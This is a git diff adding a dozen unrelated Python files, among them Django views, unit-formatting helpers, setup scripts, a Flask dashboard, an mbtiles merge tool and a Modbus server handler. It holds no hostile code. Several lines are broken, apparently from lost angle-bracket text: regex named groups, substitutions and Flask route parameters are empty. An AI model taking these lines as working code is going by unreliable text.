source filenames" % lib_name) + sources = list(sources) + + log.info("building '%s' library", lib_name) + + # Make sure everything is the correct type. + # obj_deps should be a dictionary of keys as sources + # and a list/tuple of files that are its dependencies. + obj_deps = build_info.get('obj_deps', dict()) + if not isinstance(obj_deps, dict): + raise DistutilsSetupError( + "in 'libraries' option (library '%s'), " + "'obj_deps' must be a dictionary of " + "type 'source: list'" % lib_name) + dependencies = [] + + # Get the global dependencies that are specified by the '' key. + # These will go into every source's dependency list. + global_deps = obj_deps.get('', list()) + if not isinstance(global_deps, (list, tuple)): + raise DistutilsSetupError( + "in 'libraries' option (library '%s'), " + "'obj_deps' must be a dictionary of " + "type 'source: list'" % lib_name) + + # Build the list to be used by newer_pairwise_group + # each source will be auto-added to its dependencies. + for source in sources: + src_deps = [source] + src_deps.extend(global_deps) + extra_deps = obj_deps.get(source, list()) + if not isinstance(extra_deps, (list, tuple)): + raise DistutilsSetupError( + "in 'libraries' option (library '%s'), " + "'obj_deps' must be a dictionary of " + "type 'source: list'" % lib_name) + src_deps.extend(extra_deps) + dependencies.append(src_deps) + + expected_objects = self.compiler.object_filenames( + sources, + output_dir=self.build_temp, + ) + + if ( + newer_pairwise_group(dependencies, expected_objects) + != ([], []) + ): + # First, compile the source code to object files in the library + # directory. (This should probably change to putting object + # files in a temporary build directory.) + macros = build_info.get('macros') + include_dirs = build_info.get('include_dirs') + cflags = build_info.get('cflags') + self.compiler.compile( + sources, + output_dir=self.build_temp, + macros=macros, + include_dirs=include_dirs, + extra_postargs=cflags, + debug=self.debug + ) + + # Now "link" the object files together into a static library. + # (On Unix at least, this isn't really linking -- it just + # builds an archive. Whatever.) + self.compiler.create_static_lib( + expected_objects, + lib_name, + output_dir=self.build_clib, + debug=self.debug + ) diff --git a/pool/shard008/Python/0076765_pub2fanfou.session_version.py b/pool/shard008/Python/0076765_pub2fanfou.session_version.py new file mode 100644 index 0000000000000000000000000000000000000000..1b5ea486304ae60fc0b0e111f0eef678937e4ac9 --- /dev/null +++ b/pool/shard008/Python/0076765_pub2fanfou.session_version.py @@ -0,0 +1,47 @@ +#coding: utf8 + +import urlfetch +import re + +def pub2fanfou(username, password, status): + #获取表单token + s = urlfetch.Session(headers={'Referer': 'http://m.fanfou.com/'}) + response = s.fetch( + "http://m.fanfou.com/" + ) + token = re.search('''name="token".*?value="(.*?)"''', response.body).group(1) + + #登录 + response = s.fetch( + "http://m.fanfou.com/", + data = { + 'loginname': username, + 'loginpass': password, + 'action': 'login', + 'token': token, + 'auto_login': 'on', + }, + ) + + #cookies + print s.cookiestring + + #获取表单token + response = s.fetch( + "http://m.fanfou.com/home", + ) + token = re.search('''name="token".*?value="(.*?)"''', response.body).group(1) + + #发布状态 + response = s.fetch( + "http://m.fanfou.com/", + data = { + 'content': status, + 'token': token, + 'action': 'msg.post', + }, + ) + +if __name__ == '__main__': + import sys + pub2fanfou(*sys.argv[1:4]) diff --git a/pool/shard008/Python/0076768_views.py b/pool/shard008/Python/0076768_views.py new file mode 100644 index 0000000000000000000000000000000000000000..82f14fafded99fb9f1e29a1cd3fa98673922746f --- /dev/null +++ b/pool/shard008/Python/0076768_views.py @@ -0,0 +1,71 @@ +from django.views.generic import DetailView, ListView + +from .models import Enclosure, Episode, Show + + +class EpisodeDetail(DetailView): + model = Episode + slug_url_kwarg = "episode_slug" + + def get_queryset(self): + return self.model.objects.published().filter(show__slug__exact=self.kwargs['show_slug']) + + def get_context_data(self, **kwargs): + context = super(EpisodeDetail, self).get_context_data(**kwargs) + context['enclosure_list'] = Enclosure.objects.filter(episode__show__slug__exact=self.kwargs['show_slug']).filter(episode=self.object).order_by("-episode__date") + return context + +episode_detail = EpisodeDetail.as_view() + + +class EpisodeList(ListView): + model = Episode + + def get_queryset(self): + return self.model.objects.published().filter(show__slug__exact=self.kwargs['slug']).order_by('-date') + +episode_list = EpisodeList.as_view() + + +class EpisodeSitemap(EpisodeList): + template_name = 'podcast/episode_sitemap.html' + content_type = 'application/xml' + + def get_context_data(self, **kwargs): + context = super(EpisodeDetail, self).get_context_data(**kwargs) + context['enclosure_list'] = Enclosure.objects.filter(episode__show__slug__exact=self.kwargs['slug']).order_by("-episode__date") + return context + +episode_sitemap = EpisodeSitemap.as_view() + + +class ShowList(ListView): + model = Show + paginate_by = 25 + + def get_queryset(self): + if self.kwargs.get("slug"): + return self.model.objects.filter(slug__exact=self.kwargs['slug']) + return self.model.objects.all() + +show_list = ShowList.as_view() + + +class ShowListAtom(DetailView): + model = Show + template_name = 'podcast/show_feed_atom.html' + content_type = 'application/rss+xml' + +show_list_atom = ShowListAtom.as_view() + + +class ShowListFeed(ShowListAtom): + template_name = 'podcast/show_feed.html' + +show_list_feed = ShowListFeed.as_view() + + +class ShowListMedia(ShowListAtom): + template_name = 'podcast/show_feed_media.html' + +show_list_media = ShowListMedia.as_view() diff --git a/pool/shard008/Python/0076775_markup.py b/pool/shard008/Python/0076775_markup.py new file mode 100644 index 0000000000000000000000000000000000000000..8714cca0b01ae0ee16858e168875e9e245e1d7db --- /dev/null +++ b/pool/shard008/Python/0076775_markup.py @@ -0,0 +1,163 @@ +# -*- coding: utf-8 -*- +""" +""" +from __future__ import absolute_import, with_statement + +import copy +import operator +import re +import threading + + +class _Config(object): + + @property + def lock(self): + return self._lock + + @property + def use_unicode(self): + with self.lock: + return copy.copy(self._use_unicode) + @use_unicode.setter + def use_unicode(self, val): + self._use_unicode = bool(val) + + def __init__(self): + self._lock = threading.RLock() + self._use_unicode = False + +config = _Config() + +superscripts = ['⁰', '¹', '²', '³', '⁴', '⁵', '⁶', '⁷', '⁸', '⁹'] + +def superscript(val): + items = re.split(r'\*{2}([\d]+)(?!\.)', val) + ret = [] + while items: + try: + s = items.pop(0) + e = items.pop(0) + ret.append(s+''.join(superscripts[int(i)] for i in e)) + except IndexError: + ret.append(s) + return ''.join(ret) + +def format_units(udict): + ''' + create a string representation of the units contained in a dimensionality + ''' + num = [] + den = [] + keys = [k for k, o in + sorted( + [(k, k.format_order) for k in udict], + key=operator.itemgetter(1) + ) + ] + for key in keys: + d = udict[key] + if config.use_unicode: + u = key.u_symbol + else: + u = key.symbol + if d>0: + if d != 1: + u = u + ('**%s'%d).rstrip('0').rstrip('.') + num.append(u) + elif d<0: + d = -d + if d != 1: + u = u + ('**%s'%d).rstrip('0').rstrip('.') + den.append(u) + res = '*'.join(num) + if len(den): + if not res: res = '1' + fmt = '(%s)' if len(den) > 1 else '%s' + res = res + '/' + fmt%('*'.join(den)) + if not res: res = 'dimensionless' + return res + +def format_units_unicode(udict): + res = format_units(udict) + res = superscript(res) + res = res.replace('**', '^').replace('*','·') + + return res + + +def format_units_latex(udict,font='mathrm',mult=r'\cdot',paren=False): + ''' + Replace the units string provided with an equivalent latex string. + + Division (a/b) will be replaced by \frac{a}{b}. + + Exponentiation (m**2) will be replaced with superscripts (m^{2}) + + The latex is set with the font argument, and the default is the normal, + non-italicized font mathrm. Other useful options include 'mathnormal', + 'mathit', 'mathsf', and 'mathtt'. + + Multiplication (*) are replaced with the symbol specified by the mult argument. + By default this is the latex \cdot symbol. Other useful + options may be '' or '*'. + + If paren=True, encapsulate the string in '\left(' and '\right)' + + The result of format_units_latex is encapsulated in $. This allows the result + to be used directly in Latex in normal text mode, or in Matplotlib text via the + MathText feature. + + Restrictions: + This routine will not put CompoundUnits into a fractional form. + ''' + res = format_units(udict) + if res.startswith('(') and res.endswith(')'): + # Compound Unit + compound = True + else: + # Not a compound unit + compound = False + # Replace division (num/den) with \frac{num}{den} + res = re.sub(r'(?P.+)/(?P.+)',r'\\frac{\g}{\g}',res) + # Replace exponentiation (**exp) with ^{exp} + res = re.sub(r'\*{2,2}(?P\d+)',r'^{\g}',res) + # Remove multiplication signs + res = re.sub(r'\*','{'+mult+'}',res) + if paren and not compound: + res = r'\left(%s\right)' % res + res = r'$\%s{%s}$' % (font,res) + return res + + +def format_units_html(udict,font='%s',mult=r'⋅',paren=False): + ''' + Replace the units string provided with an equivalent html string. + + Exponentiation (m**2) will be replaced with superscripts (m2}) + + No formating is done, change `font` argument to e.g.: + '%s' to have text be colored blue. + + Multiplication (*) are replaced with the symbol specified by the mult + argument. By default this is the latex ⋅ symbol. Other useful options + may be '' or '*'. + + If paren=True, encapsulate the string in '(' and ')' + + ''' + res = format_units(udict) + if res.startswith('(') and res.endswith(')'): + # Compound Unit + compound = True + else: + # Not a compound unit + compound = False + # Replace exponentiation (**exp) with ^{exp} + res = re.sub(r'\*{2,2}(?P\d+)',r'\g',res) + # Remove multiplication signs + res = re.sub(r'\*',mult,res) + if paren and not compound: + res = '(%s)' % res + res = font % res + return res diff --git a/pool/shard008/Python/0076776_regress_sql_datagen_fail.py b/pool/shard008/Python/0076776_regress_sql_datagen_fail.py new file mode 100644 index 0000000000000000000000000000000000000000..85bb4b655ffd495a1a31eee1a74672267261b84c --- /dev/null +++ b/pool/shard008/Python/0076776_regress_sql_datagen_fail.py @@ -0,0 +1,107 @@ +""" +Copyright (c) 2004-Present Pivotal Software, Inc. + +This program and the accompanying materials are made available under +the terms of the under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + +http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +""" + +import os +import unittest2 as unittest +import tinctest +from tinctest.lib import local_path + +from mpp.lib.datagen import TINCTestDatabase +from mpp.lib.PSQL import PSQL +from mpp.models import SQLTestCase + +from gppylib.commands.base import Command, CommandResult + +#@unittest.skip('mock') +class MockDbFailTestCase(SQLTestCase): + """ + + @db_name test_db_fail + @description database setup failure + """ + sql_dir = 'fail_sql/' + ans_dir = 'fail_expected/' + +#@unittest.skip('mock') +class MockDbTestCase(SQLTestCase): + """ + + @db_name test_db + @description database setup + """ + sql_dir = 'fail_sql/' + ans_dir = 'fail_expected/' + +class MockDataSetTestCase(SQLTestCase): + """ + + @db_name dataset_0.01_heap + @description dataset database setup + """ + sql_dir = 'sql/' + ans_dir = 'expected/' + + +#class SQLDatagenFailTest(unittest.TestCase): +# +# def test_datagen_fail(self): +# test_loader = tinctest.TINCTestLoader() +# test_suite = test_loader.loadTestsFromTestCase(MockDbFailTestCase) +# for test_case in test_suite._tests: +# print test_case +# test_case.__class__.__unittest_skip__ = False +# test_result = unittest.TestResult() +# test_case.run(test_result) +# + +class TestDbFailSetup(TINCTestDatabase): + """ + Create a test database but fail during setup + @db_name test_db_fail + """ + + def __init__(self, database_name = "test_db_fail"): + super(TestDbFailSetup, self).__init__(database_name) + + def setUp(self): + # Call out to TINCTestDatabase.setUp which will return True if the database already exists + if super(TestDbFailSetup, self).setUp(): + return True + + # run some sqls to setup the database + ret = PSQL.run_sql_file(local_path('fail_db_setup1.sql'), dbname = self.db_name) + + return True + +class TestDbSetup(TINCTestDatabase): + """ + Create a test database but fail during setup + @db_name test_db + """ + + def __init__(self, database_name = "test_db"): + super(TestDbSetup, self).__init__(database_name) + + def setUp(self): + # Call out to TINCTestDatabase.setUp which will return True if the database already exists + if super(TestDbSetup, self).setUp(): + return True + + # run some sqls to setup the database + ret = PSQL.run_sql_file(local_path('fail_db_setup.sql'), dbname = self.db_name) + + return True diff --git a/pool/shard008/Python/0076785_pdbs_with_icl3_helix.py b/pool/shard008/Python/0076785_pdbs_with_icl3_helix.py new file mode 100644 index 0000000000000000000000000000000000000000..b12169d7a2ab2708f087c04af6961b8b39ecf716 --- /dev/null +++ b/pool/shard008/Python/0076785_pdbs_with_icl3_helix.py @@ -0,0 +1,43 @@ +from django.core.management.base import BaseCommand, CommandError +from django.core.management import call_command +from django.conf import settings +from django.db import connection +from django.db.models import Q +from django.template.loader import render_to_string +from structure.models import Structure +from common import definitions +from common.selection import SelectionItem +from common.alignment_gpcr import Alignment +import xlsxwriter, xlrd +from construct.models import * +from construct.functions import * +from construct.tool import * + +from residue.models import * +from protein.models import * + + +import logging, json, os +from collections import OrderedDict + + + +class Command(BaseCommand): + + help = "Output all uniprot mappings" + + logger = logging.getLogger(__name__) + + + + def handle(self, *args, **options): + + for s in Structure.objects.filter(refined=False).all().order_by('protein_conformation__protein__parent__entry_name'): + slug = str(s) + pc = ProteinConformation.objects.filter(protein__entry_name=slug.lower()).get() + rs = pc.residue_set.filter(generic_number__label='34x50') + if not len(rs): + print(slug, pc.protein.parent.entry_name, s.state, s.representative) + + + diff --git a/pool/shard008/Python/0076786_setup.py b/pool/shard008/Python/0076786_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..67a50c03cfbd616a4d0b1c976181d6063b0af789 --- /dev/null +++ b/pool/shard008/Python/0076786_setup.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +import os +import sys + +if sys.version_info < (2, 5): + error = "ERROR: s3site requires Python 2.5+ ... exiting." + print >> sys.stderr, error + sys.exit(1) + +try: + from setuptools import setup, find_packages + console_scripts = ['s3site = s3site.cli:main'] + extra = dict(test_suite="s3site.tests", + tests_require="nose", + install_requires=["boto>=2.5.2"], + include_package_data=True, + entry_points=dict(console_scripts=console_scripts), + zip_safe=False) +except ImportError: + import string + from distutils.core import setup # pyflakes:ignore + + def convert_path(pathname): + """ + Local copy of setuptools.convert_path used by find_packages (only used + with distutils which is missing the find_packages feature) + """ + if os.sep == '/': + return pathname + if not pathname: + return pathname + if pathname[0] == '/': + raise ValueError("path '%s' cannot be absolute" % pathname) + if pathname[-1] == '/': + raise ValueError("path '%s' cannot end with '/'" % pathname) + paths = string.split(pathname, '/') + while '.' in paths: + paths.remove('.') + if not paths: + return os.curdir + return os.path.join(*paths) + + def find_packages(where='.', exclude=()): # pyflakes:ignore + """ + Local copy of setuptools.find_packages (only used with distutils which + is missing the find_packages feature) + """ + out = [] + stack = [(convert_path(where), '')] + while stack: + where, prefix = stack.pop(0) + for name in os.listdir(where): + fn = os.path.join(where, name) + if ('.' not in name and os.path.isdir(fn) and + os.path.isfile(os.path.join(fn, '__init__.py'))): + out.append(prefix + name) + stack.append((fn, prefix + name + '.')) + for pat in list(exclude) + ['ez_setup', 'distribute_setup']: + from fnmatch import fnmatchcase + out = [item for item in out if not fnmatchcase(item, pat)] + return out + + extra = {} + +VERSION = 0.9999 +static = os.path.join('s3site', 'static.py') +execfile(static) # pull VERSION from static.py + +README = open('README.rst').read() + +setup( + name='s3site', + version=VERSION, + packages=find_packages(), + scripts=['scripts/s3site'], + license='LGPL3', + author='Justin Riley', + author_email='justin.t.riley@gmail.com', + url="http://github.com/jtriley/s3site", + description="A simple utility for creating, syncing, and managing static " + "sites hosted on S3 and distributed with AWS CloudFront", + long_description=README, + classifiers=[ + 'Environment :: Console', + 'Development Status :: 4 - Beta', + 'Intended Audience :: Developers', + 'Intended Audience :: System Administrators', + 'License :: OSI Approved :: GNU Library or Lesser General Public ' + 'License (LGPL)', + 'Natural Language :: English', + 'Programming Language :: Python', + 'Programming Language :: Python :: 2.5', + 'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + 'Operating System :: OS Independent', + 'Topic :: Software Development :: Libraries :: Python Modules', + ], + **extra +) diff --git a/pool/shard008/Python/0076789_plot_haxby_stimuli.py b/pool/shard008/Python/0076789_plot_haxby_stimuli.py new file mode 100644 index 0000000000000000000000000000000000000000..41e75d5a3910e1a1b37ea119f21f3763feba02aa --- /dev/null +++ b/pool/shard008/Python/0076789_plot_haxby_stimuli.py @@ -0,0 +1,37 @@ +""" +Show stimuli of Haxby et al. dataset +=============================================================================== + +In this script we plot an overview of the stimuli used in "Distributed +and Overlapping Representations of Faces and Objects in Ventral Temporal +Cortex" (Science 2001) +""" + +from scipy.misc import imread +import matplotlib.pyplot as plt + +from nilearn.datasets import fetch_haxby + +stimulus_information = fetch_haxby(n_subjects=0, + fetch_stimuli=True).stimuli + +for stim_type in sorted(stimulus_information.keys()): + if stim_type == "controls": + # skip control images, there are too many + continue + + file_names = stimulus_information[stim_type] + + plt.figure() + for i in range(48): + plt.subplot(6, 8, i + 1) + try: + plt.imshow(imread(file_names[i]), cmap=plt.cm.gray) + except: + # just go to the next one if the file is not present + pass + plt.axis("off") + plt.suptitle(stim_type) + +plt.show() + diff --git a/pool/shard008/Python/0076791_results.py b/pool/shard008/Python/0076791_results.py new file mode 100644 index 0000000000000000000000000000000000000000..9055f52f3ff2f67c0d63cbc5c5aa6c3a7f973e2f --- /dev/null +++ b/pool/shard008/Python/0076791_results.py @@ -0,0 +1,35 @@ +import pandas as pd # type: ignore +from SALib.plotting.bar import plot as barplot + +class ResultDict(dict): + '''Dictionary holding analysis results. + + Conversion methods (e.g. to Pandas DataFrames) to be attached as necessary + by each implementing method + ''' + def __init__(self, *args, **kwargs): + super(ResultDict, self).__init__(*args, **kwargs) + + def to_df(self): + '''Convert dict structure into Pandas DataFrame.''' + return pd.DataFrame({k: v for k, v in self.items() if k != 'names'}, + index=self['names']) + + def plot(self, ax=None): + '''Create bar chart of results''' + Si_df = self.to_df() + + if isinstance(Si_df, (list, tuple)): + import matplotlib.pyplot as plt # type: ignore + + if ax is None: + fig, ax = plt.subplots(1, len(Si_df)) + + for idx, f in enumerate(Si_df): + barplot(f, ax=ax[idx]) + + axes = ax + else: + axes = barplot(Si_df, ax=ax) + + return axes diff --git a/pool/shard008/Python/0076799_0010_remove_queuemembership.py b/pool/shard008/Python/0076799_0010_remove_queuemembership.py new file mode 100644 index 0000000000000000000000000000000000000000..3b097365e33d2d820f0e08f11dc4a3c1ec9f52d6 --- /dev/null +++ b/pool/shard008/Python/0076799_0010_remove_queuemembership.py @@ -0,0 +1,25 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import models, migrations + + +class Migration(migrations.Migration): + + dependencies = [ + ('helpdesk', '0009_migrate_queuemembership'), + ] + + operations = [ + migrations.RemoveField( + model_name='queuemembership', + name='queues', + ), + migrations.RemoveField( + model_name='queuemembership', + name='user', + ), + migrations.DeleteModel( + name='QueueMembership', + ), + ] diff --git a/pool/shard008/Python/0076803_http.py b/pool/shard008/Python/0076803_http.py new file mode 100644 index 0000000000000000000000000000000000000000..c69224da7bc98431ec86a75b46b8e80196a9782c --- /dev/null +++ b/pool/shard008/Python/0076803_http.py @@ -0,0 +1,17 @@ +import logging + +from concurrence import dispatch +#from concurrence.http import WSGIServer +from concurrence.http.server2 import WSGIServer + +def hello_world(environ, start_response): + start_response("200 OK", []) + return ["Hello, world!"] + +def main(): + server = WSGIServer(hello_world) + server.serve(('localhost', 8080)) + +if __name__ == '__main__': + logging.basicConfig(level = logging.ERROR) + dispatch(main) diff --git a/pool/shard008/Python/0076804_routes.py b/pool/shard008/Python/0076804_routes.py new file mode 100644 index 0000000000000000000000000000000000000000..bbb64123fc8f28dbe353754950c0caa3507e687a --- /dev/null +++ b/pool/shard008/Python/0076804_routes.py @@ -0,0 +1,99 @@ + +# IATI Updates, IATI Registry API augmented +# by Mark Brough +# +# Copyright (C) 2013 Publish What You Fund +# +# This programme is free software; you may redistribute and/or modify +# it under the terms of the GNU Affero General Public License v3.0 + +from flask import Flask, render_template, flash, request, Markup, \ + session, redirect, url_for, escape, Response, abort, send_file + +from iatiupdates import app +from iatiupdates import db +import registry +import os + +@app.route("/") +def home(): + num_publishers = registry.getNumRealPublishers() + frequency_totals = registry.getFrequencyTotals() + frequencies = registry.FREQUENCIES + return render_template("dashboard.html", + num_publishers=num_publishers, + frequency_totals=frequency_totals, + frequencies=frequencies) + +@app.route("/freq/") +def freq(): + return registry.calculate_frequency() + +@app.route("/revs_parse/") +def revs_parse(): + return registry.parse_existing_revision_methods() + +@app.route("/publisher/") +def publisher(): + publishers = registry.publishers() + frequencies = registry.FREQUENCIES + return render_template("publisher.html", + publishers=publishers, + frequencies=frequencies, + orgtypes=dict(registry.ORGANIZATION_TYPES)) + +@app.route("/publisher//updates/") +@app.route("/publisher//updates//") +def publisher_updates(packagegroup_name, message_method=None): + publisher = registry.publishers(packagegroup_name) + return render_template("publisher_updates.html", + publisher = publisher, + message_method = message_method) + +@app.route("/package/") +def package(): + packages = registry.packages() + return render_template("package.html", + packages=packages) + +@app.route("/revision/") +def revision(): + revisions = registry.revisions() + return render_template("revision.html", + revisions=revisions) + +@app.route("/update/") +def update(): + print "getting packagegroups..." + registry.get_packagegroups() + print "getting packages..." + registry.get_packages() + print "getting revisions..." + registry.get_revisions() + return "Complete" + +@app.route("/update/revisions/") +def update_revisions(): + print "getting revisions..." + registry.get_revisions() + return "Complete" + +@app.route("/update/packagegroups/") +def update_packagegroups(): + print "getting packagegroups..." + registry.get_packagegroups() + return "Complete" + +@app.route("/update/packages/") +def update_packages(): + print "getting packages..." + registry.get_packages() + return "Complete" + +@app.errorhandler(404) +def page_not_found(error): + return render_template('404.html'), 404 + +"""@app.errorhandler(500) +def internal_server_error(e): + return render_template('500.html'), 500""" diff --git a/pool/shard008/Python/0076805_setup.py b/pool/shard008/Python/0076805_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..905029dacf83380ec359256c6f35267027079c65 --- /dev/null +++ b/pool/shard008/Python/0076805_setup.py @@ -0,0 +1,36 @@ +import os.path +from setuptools import setup + +about = {} +version_path = os.path.join(os.path.dirname(__file__), 'staticconf', 'version.py') +with open(version_path) as f: + exec(f.read(), about) + +setup( + name="PyStaticConfiguration", + version=about['version'], + provides=["staticconf"], + author="Daniel Nephin", + author_email="dnephin@gmail.com", + url="https://github.com/dnephin/PyStaticConfiguration", + description='A python library for loading static configuration', + classifiers=[ + "Programming Language :: Python", + "Programming Language :: Python :: 2.6", + "Programming Language :: Python :: 2.7", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.4", + "Programming Language :: Python :: 3.5", + "Programming Language :: Python :: 3.6", + "Operating System :: OS Independent", + "License :: OSI Approved :: Apache Software License", + "Intended Audience :: Developers", + "Development Status :: 5 - Production/Stable", + ], + extras_require={ + 'yaml': ['pyyaml'], + }, + packages=['staticconf'], + install_requires=['six'], + license='APACHE20', +) diff --git a/pool/shard008/Python/0076806_patch_mbtile.py b/pool/shard008/Python/0076806_patch_mbtile.py new file mode 100644 index 0000000000000000000000000000000000000000..9c57b3fce153ae0fd830225509f3ff5b72f34c57 --- /dev/null +++ b/pool/shard008/Python/0076806_patch_mbtile.py @@ -0,0 +1,95 @@ +#!/usr/bin/python +################################################################################ +# +# Copyright 2013 Crown copyright (c) +# Land Information New Zealand and the New Zealand Government. +# All rights reserved +# +# This program is released under the terms of the new BSD license. See the +# LICENSE file for more information. +# +################################################################################ + +import sys +import os.path +import sqlite3 + +from optparse import OptionParser + +usage = "usage: %prog [options] source_mbtile destination_mbtile" + +parser = OptionParser(usage=usage) + +parser.add_option( + "-n", + "--name", + type="string", + dest="name", + help="Set mbtiles name" +) + +(cmd_opt, args) = parser.parse_args() + +source_mbtile = args[0] +destination_mbtile = args[1] + +if not os.path.isfile(source_mbtile): + print "Source file: " + source_mbtile + " does not exist" + exit(1) + +if not os.path.isfile(destination_mbtile): + print "destination file: " + destination_mbtile + " does not exist" + exit(1) + +conn = sqlite3.connect(destination_mbtile) +c = conn.cursor() +c.execute("PRAGMA journal_mode=PERSIST") +c.execute("PRAGMA page_size=80000") +c.execute("PRAGMA synchronous=OFF") +c.execute("ATTACH DATABASE '" + source_mbtile + "' AS source") + +# get bounds (left, bottom, right, top) for source database +c.execute("SELECT value FROM source.metadata WHERE name='bounds'") +row = c.fetchone() +src_bounds = row[0].split(',') + +# get bounds (minx, miny, maxx, maxy) for destination database +c.execute("SELECT value FROM main.metadata WHERE name='bounds'") +row = c.fetchone() +dst_bounds = row[0].split(',') + +dst_xmin = float(dst_bounds[0]) +dst_ymin = float(dst_bounds[1]) +dst_xmax = float(dst_bounds[2]) +dst_ymax = float(dst_bounds[3]) + +src_xmin = float(src_bounds[0]) +src_ymin = float(src_bounds[1]) +src_xmax = float(src_bounds[2]) +src_ymax = float(src_bounds[3]) + +if src_xmin < dst_xmin: + dst_xmin = src_xmin +if src_xmax > dst_xmax: + dst_xmax = src_xmax + +if src_ymin < dst_ymin: + dst_ymin = src_ymin +if src_ymax > dst_ymax: + dst_ymax = src_ymax + +bounds = "{0},{1},{2},{3}".format(dst_xmin,dst_ymin,dst_xmax,dst_ymax) + +c.execute("REPLACE INTO map SELECT * FROM source.map") +c.execute("REPLACE INTO images SELECT * FROM source.images") +c.execute("UPDATE main.metadata SET value = min((SELECT value FROM source.metadata WHERE name='minzoom'), value) WHERE name='minzoom'") +c.execute("UPDATE main.metadata SET value = max((SELECT value FROM source.metadata WHERE name='maxzoom'), value) WHERE name='maxzoom'") +c.execute("UPDATE main.metadata SET value = ? WHERE name='bounds'", (bounds,)) + +if cmd_opt.name: + c.execute("UPDATE main.metadata SET value = ? WHERE name='name'", (cmd_opt.name,)) + +conn.commit() + +exit(0) + diff --git a/pool/shard008/Python/0076807_runserver.py b/pool/shard008/Python/0076807_runserver.py new file mode 100644 index 0000000000000000000000000000000000000000..845a05f89c33c9805045c66f738cf6c88fa07d1c --- /dev/null +++ b/pool/shard008/Python/0076807_runserver.py @@ -0,0 +1,77 @@ +from __future__ import absolute_import + +import os +import os.path +import sys + +from django.conf import settings +from django.core.management.color import color_style +from django.core.management.commands.runserver import Command as RunserverCommand +from optparse import make_option +from subprocess import Popen + + +class Command(RunserverCommand): + """ + A version of Django's runserver which bundles Sentry's development + tooling (such as static assets). + """ + help = "Starts a lightweight Web server for development" + + option_list = RunserverCommand.option_list + ( + make_option( + '--no-watchers', action='store_false', dest='use_watcher', + default=settings.DEBUG, + help='Tells Sentry to NOT automatically recompile static distributions.'), + ) + + cwd = os.path.realpath(os.path.join(settings.PROJECT_ROOT, os.pardir, os.pardir)) + + def get_env(self): + from sentry.app import env + result = os.environ.copy() + result.update({ + 'SENTRY_CONF': env.data['config'], + }) + return result + + def get_watchers(self): + return settings.SENTRY_WATCHERS + + def run_watchers(self, verbosity, **options): + if self.verbosity: + stdout = None + else: + stdout = open('/dev/null', 'w') + + env = self.get_env() + result = [] + for watcher in self.get_watchers(): + if self.verbosity: + self.stdout.write(self.style.HTTP_INFO('>> Running {0}'.format(watcher))) + result.append(Popen(watcher, cwd=self.cwd, stdout=stdout, env=env)) + return result + + def run_server(self, verbosity, **options): + if self.verbosity: + self.stdout.write(self.style.HTTP_INFO('>> Launching webserver..')) + return Popen(sys.argv + ['--no-watchers'], cwd=self.cwd, + env=self.get_env()) + + def run(self, *args, **options): + self.style = color_style() + self.verbosity = int(options['verbosity']) + + if options['use_watcher']: + watcher_list = self.run_watchers(**options) + server = self.run_server(**options) + try: + server.wait() + finally: + if server.poll() is None: + server.kill() + for watcher in watcher_list: + if watcher.poll() is None: + watcher.kill() + else: + super(Command, self).run(*args, **options) diff --git a/pool/shard008/Python/0076811_init__.py b/pool/shard008/Python/0076811_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..f9d409338aab2e9c2a99f6330a952b5bb5bd67c3 --- /dev/null +++ b/pool/shard008/Python/0076811_init__.py @@ -0,0 +1,108 @@ +try: + from socketserver import BaseRequestHandler +except ImportError: + from SocketServer import BaseRequestHandler +from binascii import hexlify + +from umodbus import log +from umodbus.functions import create_function_from_request_pdu +from umodbus.exceptions import ModbusError, ServerDeviceFailureError +from umodbus.utils import (get_function_code_from_request_pdu, + pack_exception_pdu, recv_exactly) + + +def route(self, slave_ids=None, function_codes=None, addresses=None): + """ A decorator that is used to register an endpoint for a given + rule:: + + @server.route(slave_ids=[1], function_codes=[1, 2], addresses=list(range(100, 200))) # NOQA + def read_single_bit_values(slave_id, address): + return random.choise([0, 1]) + + Any argument can be omitted to match any value. + + :param slave_ids: A list (or iterable) of slave ids. + :param function_codes: A list (or iterable) of function codes. + :param addresses: A list (or iterable) of addresses. + """ + def inner(f): + self.route_map.add_rule(f, slave_ids, function_codes, addresses) + return f + + return inner + + +class AbstractRequestHandler(BaseRequestHandler): + """ A subclass of :class:`socketserver.BaseRequestHandler` dispatching + incoming Modbus requests using the server's :attr:`route_map`. + + """ + def handle(self): + try: + while True: + try: + mbap_header = recv_exactly(self.request.recv, 7) + remaining = self.get_meta_data(mbap_header)['length'] - 1 + request_pdu = recv_exactly(self.request.recv, remaining) + except ValueError: + return + + response_adu = self.process(mbap_header + request_pdu) + self.respond(response_adu) + except: + log.exception('Error while handling request') + raise + + def process(self, request_adu): + """ Process request ADU and return response. + + :param request_adu: A bytearray containing the ADU request. + :return: A bytearray containing the response of the ADU request. + """ + meta_data = self.get_meta_data(request_adu) + request_pdu = self.get_request_pdu(request_adu) + + response_pdu = self.execute_route(meta_data, request_pdu) + response_adu = self.create_response_adu(meta_data, response_pdu) + + return response_adu + + def execute_route(self, meta_data, request_pdu): + """ Execute configured route based on requests meta data and request + PDU. + + :param meta_data: A dict with meta data. It must at least contain + key 'unit_id'. + :param request_pdu: A bytearray containing request PDU. + :return: A bytearry containing reponse PDU. + """ + try: + function = create_function_from_request_pdu(request_pdu) + results =\ + function.execute(meta_data['unit_id'], self.server.route_map) + + try: + # ReadFunction's use results of callbacks to build response + # PDU... + return function.create_response_pdu(results) + except TypeError: + # ...other functions don't. + return function.create_response_pdu() + except ModbusError as e: + function_code = get_function_code_from_request_pdu(request_pdu) + return pack_exception_pdu(function_code, e.error_code) + except Exception: + log.exception('Could not handle request') + function_code = get_function_code_from_request_pdu(request_pdu) + + return pack_exception_pdu(function_code, + ServerDeviceFailureError.error_code) + + def respond(self, response_adu): + """ Send response ADU back to client. + + :param response_adu: A bytearray containing the response of an ADU. + """ + log.debug('--> {0} - {1}.'.format(self.client_address[0], + hexlify(response_adu))) + self.request.sendall(response_adu) diff --git 